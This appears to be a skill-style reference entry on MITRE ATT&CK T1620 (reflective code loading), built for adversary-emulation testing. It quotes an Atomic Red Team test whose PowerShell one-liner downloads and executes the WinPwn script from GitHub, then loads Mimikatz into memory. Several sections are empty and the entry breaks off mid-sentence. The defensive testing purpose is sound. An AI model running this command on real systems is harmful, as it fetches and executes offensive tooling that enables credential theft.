| name | T1620_reflective-code-loading |
| description | Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. |
| category | configuration |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1620","defense-evasion","linux","macos","windows"] |
| technique_id | T1620 |
| tactic | defense-evasion |
| all_tactics | ["defense-evasion"] |
| platforms | ["Linux","macOS","Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1620 |
| tech_stack | ["linux","macos","windows"] |
| cwe_ids | ["CWE-693"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
T1620 Reflective Code Loading
High-Level Description
Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).
Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode). For example, the Assembly.Load() method executed by PowerShell may be abused to load raw code into the running process.
Reflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.
Kill Chain Phase
Platforms: Linux, macOS, Windows
What to Check
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: WinPwn - Reflectively load Mimik@tz into memory
Reflectively load Mimik@tz into memory technique via function of WinPwn
Supported Platforms: windows
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
mimiload -consoleoutput -noninteractive
Manual Testing
If Atomic Red Team tests are not applicable, manually verify the technique by:
